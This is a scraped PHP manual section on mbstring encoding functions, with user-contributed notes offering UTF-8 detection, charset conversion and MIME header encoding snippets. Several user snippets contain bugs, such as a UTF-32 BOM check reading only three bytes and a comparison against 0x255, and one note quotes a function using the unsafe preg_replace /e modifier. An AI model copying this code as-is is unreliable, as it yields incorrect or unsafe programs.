php at cNhOiSpPpAlMe dot org 31-Mar-2004 12:55
Here are functions to convert hankaku to zenkaku characters (and vice-versa) in Japanese text.

<?php

// Supported characters:
//    (space)
//     !#$%&()*+,./0123456789:;<=>?@
//    ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`
//    abcdefghijklmnopqrstuvwxyz{|}
// (Katakana isn't supported.)

function f_han2zen ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x20,0x20,0x3000-0x20,0xffff,   // Space
     0x21,0x7e,0xff01-0x21,0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}
function f_zen2han ($string,$encoding = null) {
  if (is_null($encoding)) $encoding = mb_internal_encoding();
  $convmap = array(
     0x3000,0x3000,-(0x3000-0x20),0xffff,   // Space
     0xff01,0xff5e,-(0xff01-0x21),0xffff);
  $temp = mb_encode_numericentity($string,$convmap,$encoding);
  $convmap = array(0,0xffff,0,0xffff);
  return mb_decode_numericentity($temp,$convmap,$encoding);
}

// Sample usage:
f_han2zen("test","shift_jis");
f_han2zen("test","utf-8");

?>
dev at glossword info 19-Nov-2003 07:43
Just two great functions for daily use:

/* Converts any HTML-entities into characters */
function my_numeric2character($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_decode_numericentity($t, $convmap, 'UTF-8');
}
/* Converts any characters into HTML-entities */
function my_character2numeric($t)
{
    $convmap = array(0x0, 0x2FFFF, 0, 0xFFFF);
    return mb_encode_numericentity($t, $convmap, 'UTF-8');
}
print my_numeric2character('&#8217; &#7936; &#226;');
print my_character2numeric(' ’ â ');
mb_decode_mimeheader
mb_detect_encoding
Multibyte String Functions


Detect character encoding

mb_decode_numericentity
mb_detect_order
Multibyte String Functions
PHP Manual

mb_detect_encoding

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_encoding — Detect character encoding

Description

string mb_detect_encoding ( string $str [, mixed $encoding_list = mb_detect_order() [, bool $strict = false ]] )

Detects character encoding in string str.

Parameters

str

The string being detected.

encoding_list

encoding_list is list of character encoding. Encoding order may be specified by array or comma separated list string.

If encoding_list is omitted, detect_order is used.

strict

strict specifies whether to use the strict encoding detection or not. Default is FALSE.

Return Values

The detected character encoding or FALSE if the encoding cannot be detected from the given string.

Examples

Example #1 mb_detect_encoding() example

<?php
/* Detect character encoding with current detect_order */
echo mb_detect_encoding($str);

/* "auto" is expanded according to mbstring.language */
echo mb_detect_encoding($str, "auto");

/* Specify encoding_list character encoding by comma separated list */
echo mb_detect_encoding($str, "JIS, eucjp-win, sjis-win");

/* Use array to specify encoding_list  */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
echo mb_detect_encoding($str, $ary);
?>

See Also

  • mb_detect_order() - Set/Get character encoding detection order

User Contributed Notes

yinmj 10-Jan-2012 08:27
For Chinese developers: please note that the second argument of this function DOES NOT include 'GB2312' and 'GBK' and the return value is 'EUC-CN' when it is detected as a GB2312 string.
Gerg Tisza 18-Feb-2011 03:43
If you try to use mb_detect_encoding to detect whether a string is valid UTF-8, use the strict mode, it is pretty worthless otherwise.

<?php
    $str = 'áéóú'; // ISO-8859-1
    mb_detect_encoding($str, 'UTF-8'); // 'UTF-8'
    mb_detect_encoding($str, 'UTF-8', true); // false
?>
jimmy at powerzone dot dk 31-Jan-2010 12:15
I was in the need of a function capable of detecting whether a string was ISO-8859-1 compatible or not. Unfortunately I was unable to get mb_detect_encoding to work. The following function does the trick.

<?php
function IsLatin1($str)
{
    return (preg_match("/^[\\x00-\\xFF]*$/u", $str) === 1);
}

var_dump(IsLatin1("abc ABC 123")); // true
var_dump(IsLatin1("abc € 123")); // false (because of €)
?>
nat3738 at gmail dot com 22-May-2009 03:58
A simple way to detect UTF-8/16/32 of file by its BOM (not work with string or file without BOM)

<?php
// Unicode BOM is U+FEFF, but after encoded, it will look like this.
define ('UTF32_BIG_ENDIAN_BOM'   , chr(0x00) . chr(0x00) . chr(0xFE) . chr(0xFF));
define ('UTF32_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE) . chr(0x00) . chr(0x00));
define ('UTF16_BIG_ENDIAN_BOM'   , chr(0xFE) . chr(0xFF));
define ('UTF16_LITTLE_ENDIAN_BOM', chr(0xFF) . chr(0xFE));
define ('UTF8_BOM'               , chr(0xEF) . chr(0xBB) . chr(0xBF));

function detect_utf_encoding($filename) {

    $text = file_get_contents($filename);
    $first2 = substr($text, 0, 2);
    $first3 = substr($text, 0, 3);
    $first4 = substr($text, 0, 3);

    if ($first3 == UTF8_BOM) return 'UTF-8';
    elseif ($first4 == UTF32_BIG_ENDIAN_BOM) return 'UTF-32BE';
    elseif ($first4 == UTF32_LITTLE_ENDIAN_BOM) return 'UTF-32LE';
    elseif ($first2 == UTF16_BIG_ENDIAN_BOM) return 'UTF-16BE';
    elseif ($first2 == UTF16_LITTLE_ENDIAN_BOM) return 'UTF-16LE';
}
?>
prgss at bk dot ru 30-Mar-2009 02:16
Another light way to detect character encoding:
<?php
function detect_encoding($string) {
  static $list = array('utf-8', 'windows-1251');

  foreach ($list as $item) {
    $sample = iconv($item, $item, $string);
    if (md5($sample) == md5($string))
      return $item;
  }
  return null;
}
?>
matthijs at ischen dot nl 28-Mar-2009 10:33
I seriously underestimated the importance of setlocale...
<?php
$strings = array(
    "mais coisas a pensar sobre diário ou dois!",
    "plus de choses à penser à journalier ou à deux !",
    "¡más cosas a pensar en diario o dos!",
    "più cose da pensare circa giornaliere o due!",
    "flere ting å tenke på hver dag eller to!",
    "Další věcí, přemýšlet o každý den nebo dva!",
    "mehr über Spaß spät schönen",
    "më vonë gjatë fun bukur",
    "több mint szórakozás késő csodálatos kenyér"
);

$convert = array();
setlocale(LC_CTYPE, 'de_DE.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

Produces the following:

Array
(
    [0] => mais coisas a pensar sobre diario ou dois!
    [1] => plus de choses a penser a journalier ou a deux !
    [2] => ?mas cosas a pensar en diario o dos!
    [3] => piu cose da pensare circa giornaliere o due!
    [4] => flere ting aa tenke paa hver dag eller to!
    [5] => Dalsi veci, premyslet o kazdy den nebo dva!
    [6] => mehr ueber Spass spaet schoenen
    [7] => me vone gjate fun bukur
    [8] => toebb mint szorakozas keso csodalatos kenyer
)

whereas

<?php
$convert = array();
setlocale(LC_CTYPE, 'nl_NL.UTF-8');
foreach( $strings as $string )
        $convert[] = iconv('UTF-8', 'ASCII//TRANSLIT//IGNORE', $string);
?>

produces:
Array
(
    [0] => mais coisas a pensar sobre di?rio ou dois!
    [1] => plus de choses ? penser ? journalier ou ? deux !
    [2] => ?m?s cosas a pensar en diario o dos!
    [3] => pi? cose da pensare circa giornaliere o due!
    [4] => flere ting ? tenke p? hver dag eller to!
    [5] => Dal?? v?c?, p?em??let o ka?d? den nebo dva!
    [6] => mehr ?ber Spass sp?t sch?nen
    [7] => m? von? gjat? fun bukur
    [8] => t?bb mint sz?rakoz?s k?s? csod?latos keny?r
)

This might be of interest when trying to convert utf-8 strings into ASCII suitable for URL's, and such. this was never obvious for me since I've used locales for us and nl.
dennis at nikolaenko dot ru 06-Oct-2008 09:18
Beware of bug to detect Russian encodings
http://bugs.php.net/bug.php?id=38138
hmdker at gmail dot com 23-Aug-2008 09:58
Function to detect UTF-8, when mb_detect_encoding is not available it may be useful.

<?php
function is_utf8($str) {
    $c=0; $b=0;
    $bits=0;
    $len=strlen($str);
    for($i=0; $i<$len; $i++){
        $c=ord($str[$i]);
        if($c > 128){
            if(($c >= 254)) return false;
            elseif($c >= 252) $bits=6;
            elseif($c >= 248) $bits=5;
            elseif($c >= 240) $bits=4;
            elseif($c >= 224) $bits=3;
            elseif($c >= 192) $bits=2;
            else return false;
            if(($i+$bits) > $len) return false;
            while($bits > 1){
                $i++;
                $b=ord($str[$i]);
                if($b < 128 || $b > 191) return false;
                $bits--;
            }
        }
    }
    return true;
}
?>
yaqy at qq dot com 20-Jul-2008 10:14
<?php
/*
*QQ: 290359552
* conver to Utf8 if $str is not equals to 'UTF-8'
*/
function convToUtf8($str)
{
if( mb_detect_encoding($str,"UTF-8, ISO-8859-1, GBK")!="UTF-8" )
{

return  iconv("gbk","utf-8",$str);

}
else
{
return $str;
}

}
?>
hoermann dot j at gmail dot com 19-Mar-2008 05:35
referring to the bug in mb_detect_encoding decribed by telemach
http://de2.php.net/manual/de/function.mb-detect-encoding.php#55228 I want to give a simple solution.

Because
<?php
mb_detect_encoding('accentué' , 'UTF-8, ISO-8859-1');
?>
will lead to a wrong result (UTF-8) but
<?php
mb_detect_encoding('accentuée' , 'UTF-8, ISO-8859-1');
?>
will not, you should always add a ISO-8859-1 character to your string for this check.

Do this:
<?php
mb_detect_encoding($myVal . 'a' , 'UTF-8, ISO-8859-1');
?>
This will suppress the situation where the error occurs and will not modify your variable. And it will still work if the error in the function will be fixed one day.
mark at kinoko dot fr 12-Oct-2007 07:56
For: rl at itfigures dot nl

Just note that your Euro symbol being \x80 is NOT standard for ISO-8859-1 or ISO-8859-15 as \x80 is a reserved character.

It is however "common practice" for windows developpers to mix windows-1252 and ISO-8859-1. Just convert to windows-1252 instead of ISO-8859-1 and you'll get your € symbol at the right place.
rl at itfigures dot nl 04-Sep-2007 02:00
I used Chris's function "detectUTF8" to detect the need from conversion from utf8 to 8859-1, which works fine. I did have a problem with the following iconv-conversion.

The problem is that the iconv-conversion to 8859-1 (with //TRANSLIT) replaces the euro-sign with EUR, although it is common practice  that \x80 is used as the euro-sign in the 8859-1 charset.

I could not use 8859-15 since that mangled some other characters, so I added 2 str_replace's:

if(detectUTF8($str)){
  $str=str_replace("\xE2\x82\xAC","&euro;",$str);
  $str=iconv("UTF-8","ISO-8859-1//TRANSLIT",$str);
  $str=str_replace("&euro;","\x80",$str);
}

If html-output is needed the last line is not necessary (and even unwanted).
sunggsun 15-Aug-2006 12:26
from PHPDIG

    function isUTF8($str) {
        if ($str === mb_convert_encoding(mb_convert_encoding($str, "UTF-32", "UTF-8"), "UTF-8", "UTF-32")) {
            return true;
        } else {
            return false;
        }
    }
chris AT w3style.co DOT uk 03-Aug-2006 02:22
Based upon that snippet below using preg_match() I needed something faster and less specific.  That function works and is brilliant but it scans the entire strings and checks that it conforms to UTF-8.  I wanted something purely to check if a string contains UTF-8 characters so that I could switch character encoding from iso-8859-1 to utf-8.

I modified the pattern to only look for non-ascii multibyte sequences in the UTF-8 range and also to stop once it finds at least one multibytes string.  This is quite a lot faster.

<?php

function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

?>
telemach 27-Jul-2005 06:48
beware : even if you need to distinguish between UTF-8 and ISO-8859-1, and you the following detection order (as chrigu suggests)

mb_detect_encoding('accentu�e' , 'UTF-8, ISO-8859-1')

returns ISO-8859-1, while

mb_detect_encoding('accentu�' , 'UTF-8, ISO-8859-1')

returns UTF-8

bottom line : an ending '�' (and probably other accentuated chars) mislead mb_detect_encoding
Chrigu 29-Mar-2005 07:32
If you need to distinguish between UTF-8 and ISO-8859-1 encoding, list UTF-8 first in your encoding_list:
mb_detect_encoding($string, 'UTF-8, ISO-8859-1');

if you list ISO-8859-1 first, mb_detect_encoding() will always return ISO-8859-1.
php-note-2005 at ryandesign dot com 17-Feb-2005 07:57
Much simpler UTF-8-ness checker using a regular expression created by the W3C:

<?php

// Returns true if $string is valid UTF-8 and false otherwise.
function is_utf8($string) {

    // From http://w3.org/International/questions/qa-forms-utf-8.html
    return preg_match('%^(?:
          [\x09\x0A\x0D\x20-\x7E]            # ASCII
        | [\xC2-\xDF][\x80-\xBF]             # non-overlong 2-byte
        |  \xE0[\xA0-\xBF][\x80-\xBF]        # excluding overlongs
        | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}  # straight 3-byte
        |  \xED[\x80-\x9F][\x80-\xBF]        # excluding surrogates
        |  \xF0[\x90-\xBF][\x80-\xBF]{2}     # planes 1-3
        | [\xF1-\xF3][\x80-\xBF]{3}          # planes 4-15
        |  \xF4[\x80-\x8F][\x80-\xBF]{2}     # plane 16
    )*$%xs', $string);

} // function is_utf8

?>
jaaks at playtech dot com 14-Jan-2005 12:27
Last example for verifying UTF-8 has one little bug. If 10xxxxxx byte occurs alone i.e. not in multibyte char, then it is accepted although it is against UTF-8 rules. Make following replacement to repair it.

Replace
         } // goto next char
with
         } else {
           return false; // 10xxxxxx occuring alone
         } // goto next char
maarten 12-Jan-2005 03:55
Sometimes mb_detect_string is not what you need. When using pdflib for example you want to VERIFY the correctness of utf-8. mb_detect_encoding reports some iso-8859-1 encoded text as utf-8.
To verify utf 8 use the following:

//
//    utf8 encoding validation developed based on Wikipedia entry at:
//    http://en.wikipedia.org/wiki/UTF-8
//
//    Implemented as a recursive descent parser based on a simple state machine
//    copyright 2005 Maarten Meijer
//
//    This cries out for a C-implementation to be included in PHP core
//
    function valid_1byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0x80) == 0x00;
    }

    function valid_2byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xE0) == 0xC0;
    }

    function valid_3byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF0) == 0xE0;
    }

    function valid_4byte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xF8) == 0xF0;
    }

    function valid_nextbyte($char) {
        if(!is_int($char)) return false;
        return ($char & 0xC0) == 0x80;
    }

    function valid_utf8($string) {
        $len = strlen($string);
        $i = 0;
        while( $i < $len ) {
            $char = ord(substr($string, $i++, 1));
            if(valid_1byte($char)) {    // continue
                continue;
            } else if(valid_2byte($char)) { // check 1 byte
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_3byte($char)) { // check 2 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } else if(valid_4byte($char)) { // check 3 bytes
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
                if(!valid_nextbyte(ord(substr($string, $i++, 1))))
                    return false;
            } // goto next char
        }
        return true; // done
    }

for a drawing of the statemachine see: http://www.xs4all.nl/~mjmeijer/unicode.png and http://www.xs4all.nl/~mjmeijer/unicode2.png
mb_decode_numericentity
mb_detect_order
Multibyte String Functions


Set/Get character encoding detection order

mb_detect_encoding
mb_encode_mimeheader
Multibyte String Functions
PHP Manual

mb_detect_order

(PHP 4 >= 4.0.6, PHP 5)

mb_detect_order — Set/Get character encoding detection order

Description

mixed mb_detect_order ([ mixed $encoding_list ] )

Sets the automatic character encoding detection order to encoding_list.

Parameters

encoding_list

encoding_list is an array or comma separated list of character encoding. See supported encodings.

If encoding_list is omitted, it returns the current character encoding detection order as array.

This setting affects mb_detect_encoding() and mb_send_mail().

mbstring currently implements the following encoding detection filters. If there is an invalid byte sequence for the following encodings, encoding detection will fail.

UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP

For ISO-8859-*, mbstring always detects as ISO-8859-*.

For UTF-16, UTF-32, UCS2 and UCS4, encoding detection will fail always.

Example #1 Useless detect order example

; Always detect as ISO-8859-1
detect_order = ISO-8859-1, UTF-8

; Always detect as UTF-8, since ASCII/UTF-7 values are
; valid for UTF-8
detect_order = UTF-8, ASCII, UTF-7

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #2 mb_detect_order() examples

<?php
/* Set detection order by enumerated list */
mb_detect_order("eucjp-win,sjis-win,UTF-8");

/* Set detection order by array */
$ary[] = "ASCII";
$ary[] = "JIS";
$ary[] = "EUC-JP";
mb_detect_order($ary);

/* Display current detection order */
echo implode(", ", mb_detect_order());
?>

See Also

  • mb_internal_encoding() - Set/Get internal character encoding
  • mb_http_input() - Detect HTTP input character encoding
  • mb_http_output() - Set/Get HTTP output character encoding
  • mb_send_mail() - Send encoded mail

User Contributed Notes

ben at sixg dot com 20-Apr-2004 08:31
Note that as of mbstring.c version 1.142.2.31, first released as PHP 4.3.4RC3, "auto" has changed meaning.  It used to be configured based on #defines, so it was set at compile time, so for precompiled binary users (esp. Windows users) it has always been the same (Japanese mode).  However, it is now based on the language that mbstring is configured for at runtime.  (setlocale() doesn't affect this though)  Running on English Windows at least, mbstring defaults to a "neutral" mode which results in an "auto" list of "ASCII, UTF-8".  So, the point is, for PHP 4.3.4 or newer, you probably want to either use mb_language("Japanese") followed by mb_detect_order("auto"), or just hardcode your detect order with mb_detect_order("ASCII, JIS, UTF-8, EUC-JP, SJIS").  (Also note that mb_language() alone won't do it, you'll have to set the detect order to "auto" _after_ calling mb_language().)
mb_detect_encoding
mb_encode_mimeheader
Multibyte String Functions


Encode string for MIME header

mb_detect_order
mb_encode_numericentity
Multibyte String Functions
PHP Manual

mb_encode_mimeheader

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_mimeheader — Encode string for MIME header

Description

string mb_encode_mimeheader ( string $str [, string $charset [, string $transfer_encoding [, string $linefeed = "\r\n" [, int $indent = 0 ]]]] )

Encodes a given string str by the MIME header encoding scheme.

Parameters

str

The string being encoded.

charset

charset specifies the name of the character set in which str is represented in. The default value is determined by the current NLS setting (mbstring.language). mb_internal_encoding() should be set to same encoding.

transfer_encoding

transfer_encoding specifies the scheme of MIME encoding. It should be either "B" (Base64) or "Q" (Quoted-Printable). Falls back to "B" if not given.

linefeed

linefeed specifies the EOL (end-of-line) marker with which mb_encode_mimeheader() performs line-folding (a » RFC term, the act of breaking a line longer than a certain length into multiple lines. The length is currently hard-coded to 74 characters). Falls back to "\r\n" (CRLF) if not given.

indent

Indentation of the first line (number of characters in the header before str).

Return Values

A converted version of the string represented in ASCII.

Changelog

Version | Description
5.0.0 | The indent parameter was added.

Examples

Example #1 mb_encode_mimeheader() example

<?php
$name = ""; // kanji
$mbox = "kru";
$doma = "gtinn.mon";
$addr = mb_encode_mimeheader($name, "UTF-7", "Q") . " <" . $mbox . "@" . $doma . ">";
echo $addr;
?>

Notes

Note:

This function isn't designed to break lines at higher-level contextual break points (word boundaries, etc.). This behaviour may clutter up the original string with unexpected spaces.

See Also

  • mb_decode_mimeheader() - Decode string in MIME header field

User Contributed Notes

Anonymous 11-Apr-2009 06:19
I could not find a PHP function to MIME encode the name for a n email address.

Input   = "Karl Müller<kmueller@gmx.de>"
Output = "Karl%20M%FCller<kmueller@gmx.de>"

I wrote it on my own:

<?php
// required to encode names in email addresses
// replace " " with "%20"
// replace "ü" with "%FC"
// replace "%" with "%25"      etc....
// Use "%" as Delimiter for MIME
// Use "=" as Delimiter for Quoted Printable
// Input string must be UTF8 encoded
public static function EncodeMime($Text, $Delimiter)
{
    $Text = utf8_decode($Text);
    $Len  = strlen($Text);
    $Out  = "";
    for ($i=0; $i<$Len; $i++)
    {
        $Chr = substr($Text, $i, 1);
        $Asc = ord($Chr);

        if ($Asc > 0x255) // Unicode not allowed
        {
            $Out .= "?";
        }
        else if ($Chr == " " || $Chr == $Delimiter || $Asc > 127)
        {
            $Out .= $Delimiter . strtoupper(bin2hex($Chr));
        }
        else $Out .= $Chr;
    }
    return $Out;
}
?>
tokul at users dot sourceforge dot net 30-Mar-2008 04:26
mb_encode_mimeheader() depends on correct mbstring.internal_encoding setting. It tries to convert $str from internal encoding to $charset. If you ignore mbstring internal encoding, function might encode strings incorrectly even when $str character set matches $charset
chappy at citromail dot hu 05-Jun-2006 04:33
I found a bad function.

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    preg_match_all('/(\\w*[\\x80-\\xFF]+\\w*)/', $input, $matches);
    foreach ($matches[1] as $value) {
        $replacement = preg_replace('/([\\x80-\\xFF])/e', '"=" . strtoupper(dechex(ord("\\1")))', $value);
        $input = str_replace($value, '=?' . $charset . '?Q?' . $replacement . '?=', $input);
    }
    return $input;
}
?>

This function should be used:

<?php
function encodeHeader($input, $charset = 'ISO-8859-2')
{
    $m=preg_match_all('/(\w*[\x80-\xFF]+\w*)/', $input, $matches);
    if($m)$input=mb_encode_mimeheader($input,$charset, 'Q');
    return $input;
}
?>
stormflyCUT at hyh dot pl 05-May-2006 04:41
Some solution for using national chars and have problem with UTF-8 for example in mail subject. Before you use mb_encode_mimeheader with UTF-8 set mb_internal_encoding('UTF-8').
paravoid 01-Jan-2006 05:58
If mb_ version doesn't work for you in MIME-B mode:

function encode_mimeheader($string, $charset=null, $linefeed="\r\n") {
    if (!$charset)
        $charset = mb_internal_encoding();

    $start = "=?$charset?B?";
    $end = "?=";
    $encoded = '';

    /* Each line must have length <= 75, including $start and $end */
    $length = 75 - strlen($start) - strlen($end);
    /* Average multi-byte ratio */
    $ratio = mb_strlen($string, $charset) / strlen($string);
    /* Base64 has a 4:3 ratio */
    $magic = $avglength = floor(3 * $length * $ratio / 4);

    for ($i=0; $i <= mb_strlen($string, $charset); $i+=$magic) {
        $magic = $avglength;
        $offset = 0;
        /* Recalculate magic for each line to be 100% sure */
        do {
            $magic -= $offset;
            $chunk = mb_substr($string, $i, $magic, $charset);
            $chunk = base64_encode($chunk);
            $offset++;
        } while (strlen($chunk) > $length);
        if ($chunk)
            $encoded .= ' '.$start.$chunk.$end.$linefeed;
    }
    /* Chomp the first space and the last linefeed */
    $encoded = substr($encoded, 1, -strlen($linefeed));

    return $encoded;
}
nigrez at nius dot waw dot pl 13-Dec-2005 03:42
True, function is broken (PHP5.1, encoding from UTF-8 with pl_PL charset). Below is about 15% faster version of proposed _mb_mime_encode. Also it has header more like othe mb_* functions and doesn't trigger any errors/warnings/notices.

<?php

function mb_mime_header($string, $encoding=null, $linefeed="\r\n") {
  if(!$encoding) $encoding = mb_internal_encoding();
  $encoded = '';

  while($length = mb_strlen($string)) {
    $encoded .= "=?$encoding?B?"
             . base64_encode(mb_substr($string,0,24,$encoding))
             . "?=$linefeed";

    $string = mb_substr($string,24,$length,$encoding);
  }

  return $encoded;
}

?>
gullevek at gullevek dot org 06-Nov-2005 05:29
My first post was around 2003, and still the mb_mime_header is broken. It is *NOT* usable with longer subjects, and mostly unusable with anything else than japanese.

iwakura at junx dot org is also not working for me, it produces also some gargabe.

I updated my old function (the one I posted 2003) and I tested it with overlong subjects in UTF-8, ISO-2022-JP (japanese), GB2312 (simplified chinese) and EUC-KR (korean) and I got readable results in thunderbird, mail.app, outlook, etc.

<?php

function _mb_mime_encode($string, $encoding)
{
    $pos = 0;
    // after 36 single bytes characters if then comes MB, it is broken
    // but I trimmed it down to 24, to stay 100% < 76 chars per line
    $split = 24;
    while ($pos < mb_strlen($string, $encoding))
    {
        $output = mb_strimwidth($string, $pos, $split, "", $encoding);
        $pos += mb_strlen($output, $encoding);
        $_string_encoded = "=?".$encoding."?B?".base64_encode($output)."?=";
        if ($_string)
            $_string .= "\r\n";
        $_string .= $_string_encoded;
    }
    $string = $_string;
    return $string;
}

?>
chappy at citromail dot hu 28-Oct-2005 11:14
In countries where there's non-us ASCII, it's a very good example, for sending mail:

mb_internal_encoding('iso-8859-2');
setlocale(LC_CTYPE, 'hu_HU');

function encode($str,$charset){
    $str=mb_encode_mimeheader(trim($str),$charset, 'Q', "\n\t");
    return $str;
}

print encode('the text with spec. chars: &#337; &#368; &#336; &#369;, �','iso-8859-2');

It creates a 7bit string
iwakura at junx dot org 15-Sep-2005 11:35
i think mb_encode_mimeheader still have bug. here is sample code:

function mb_encode_mimeheader2($string, $encoding = "ISO-2022-JP") {
    $string_array = array();
    $pos = 0;
    $row = 0;
    $mode = 0;

    while ($pos < mb_strlen($string)) {
        $word = mb_strimwidth($string, $pos, 1);
        if (!$word) {
            $word = mb_strimwidth($string, $pos, 2);
        }
        if (mb_ereg_match("[ -~]", $word)) {    // ascii
            if ($mode != 1) {
                $row++;
                $mode = 1;
                $string_array[$row] = NULL;
            }
        } else {                                // multibyte
            if ($mode != 2) {
                $row++;
                $mode = 2;
                $string_array[$row] = NULL;
            }
        }
        $string_array[$row] .= $word;
        $pos++;
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    foreach ($string_array as $key => $value) {
        $value = mb_convert_encoding($value, $encoding);
        $string_array[$key] = mb_encode_mimeheader($value, $encoding);
    }

    //echo "<pre>";
    //print_r($string_array);
    //echo "</pre>";

    return implode("", $string_array);
}

is not the best, but it works
mortoray at ecircle-ag dot com 15-Mar-2005 01:19
At least for Q encoding, this function is unsafe and does not encode correctly. Raw characters which appear as RFC2047 sequences are simply left as is.

Ex:

mb_encode_mimeheader( '=?iso-8859-1?q?this=20is=20some=20text?=' );

returns '=?iso-8859-1?q?this=20is=20some=20text?='

The exact same string, which is obviously not the encoding for the source string.  That is, mb_encode_mimeheader does not do any type of escaping.

That is, the following condition is not always true:
    mb_decode_mimeheader( mb_encode_mimeheader( $text ) ) == $text
gullevek at gullevek dot org 30-Jul-2003 12:02
Read this FIRST: http://bugs.php.net/bug.php?id=23192 because mb_encode_mimeheaders is BUGGY!

a work around for the multibyte broken error for too long subjects for ISO-2022-JP:

$pos=0;
$split=36; // after 36 single bytes characters, if then comes MB, it is broken
while ($pos<mb_strlen($string,$encoding))
{
  $output=mb_strimwidth($string,$pos,$split,"",$encoding);
  $pos+=mb_strlen($output,$encoding);
  $_string.=(($_string)?' ':'').mb_encode_mimeheader($output,$encoding);
}
$string=$_string;

is not the best, but it works
masataka 12-Apr-2003 07:46
second parameter 'charset' is character encoding name, but default must be UTF-8 on PHP4.3.1.
mb_detect_order
mb_encode_numericentity
Multibyte String Functions


Encode character to HTML numeric string reference

mb_encode_mimeheader
mb_encoding_aliases
Multibyte String Functions
PHP Manual

mb_encode_numericentity

(PHP 4 >= 4.0.6, PHP 5)

mb_encode_numericentity — Encode character to HTML numeric string reference

Description

string mb_encode_numericentity ( string $str , array $convmap , string $encoding )

Converts specified character codes in string str from HTML numeric character reference to character code.

Parameters

str

The string being encoded.

convmap

convmap is array specifies code area to convert.

encoding

The encoding parameter is the character encoding. If it is omitted, the internal character encoding value will be used.

Return Values

The converted string.

Examples

Example #1 convmap example

<?php
$convmap = array (
 int start_code1, int end_code1, int offset1, int mask1,
 int start_code2, int end_code2, int offset2, int mask2,
 ........
 int start_codeN, int end_codeN, int offsetN, int maskN );
// Specify Unicode value for start_codeN and end_codeN
// Add offsetN to value and take bit-wise 'AND' with maskN, then
// it converts value to numeric string reference.
?>

Examples

Example #2 mb_encode_numericentity() example

<?php
/* Convert Left side of ISO-8859-1 to HTML numeric character reference */
$convmap = array(0x80, 0xff, 0, 0xff);
$str = mb_encode_numericentity($str, $convmap, "ISO-8859-1");

/* Convert user defined SJIS-win code in block 95-104 to numeric
   string reference */
$convmap = array(
       0xe000, 0xe03e, 0x1040, 0xffff,
       0xe03f, 0xe0bb, 0x1041, 0xffff,
       0xe0bc, 0xe0fa, 0x1084, 0xffff,
       0xe0fb, 0xe177, 0x1085, 0xffff,
       0xe178, 0xe1b6, 0x10c8, 0xffff,
       0xe1b7, 0xe233, 0x10c9, 0xffff,
       0xe234, 0xe272, 0x110c, 0xffff,
       0xe273, 0xe2ef, 0x110d, 0xffff,
       0xe2f0, 0xe32e, 0x1150, 0xffff,
       0xe32f, 0xe3ab, 0x1151, 0xffff );
$str = mb_encode_numericentity($str, $convmap, "sjis-win");
?>

See Also

  • mb_decode_numericentity() - Decode HTML numeric string reference to character

User Contributed Notes

fboes at berlinonline dot de 11-Aug-2009 08:01
To improve handling of EURO-Symbols in dan at boxuk dot com's function add the following line to $convmap:

128,128,0, $f,
Janis 30-Jan-2009 02:32
To get Unicode numbers out of a UTF-8 string, this can be used, for example:

<?php
print mb_encode_numericentity ('sāш日', array (0x0, 0xffff, 0, 0xffff), 'UTF-8');
?>
dan at boxuk dot com 26-Feb-2003 09:48
We were experiencing difficulties with PHP/Sablotron on Solaris; placing HTML character references into the XSL transformation, when set to output UTF-8, converts them back into UTF8 encoded chars.  This was then a problem for non unicode storage.  Using a bit of code from http://homepage.mac.com/marko/ the following function converts the string back to character references:

function utf2html ($utf2html_string)
{
    $f = 0xffff;
    $convmap = array(
/* <!ENTITY % HTMLlat1 PUBLIC "-//W3C//ENTITIES Latin 1//EN//HTML">
    %HTMLlat1; */
     160,  255, 0, $f,
/* <!ENTITY % HTMLsymbol PUBLIC "-//W3C//ENTITIES Symbols//EN//HTML">
    %HTMLsymbol; */
     402,  402, 0, $f,  913,  929, 0, $f,  931,  937, 0, $f,
     945,  969, 0, $f,  977,  978, 0, $f,  982,  982, 0, $f,
    8226, 8226, 0, $f, 8230, 8230, 0, $f, 8242, 8243, 0, $f,
    8254, 8254, 0, $f, 8260, 8260, 0, $f, 8465, 8465, 0, $f,
    8472, 8472, 0, $f, 8476, 8476, 0, $f, 8482, 8482, 0, $f,
    8501, 8501, 0, $f, 8592, 8596, 0, $f, 8629, 8629, 0, $f,
    8656, 8660, 0, $f, 8704, 8704, 0, $f, 8706, 8707, 0, $f,
    8709, 8709, 0, $f, 8711, 8713, 0, $f, 8715, 8715, 0, $f,
    8719, 8719, 0, $f, 8721, 8722, 0, $f, 8727, 8727, 0, $f,
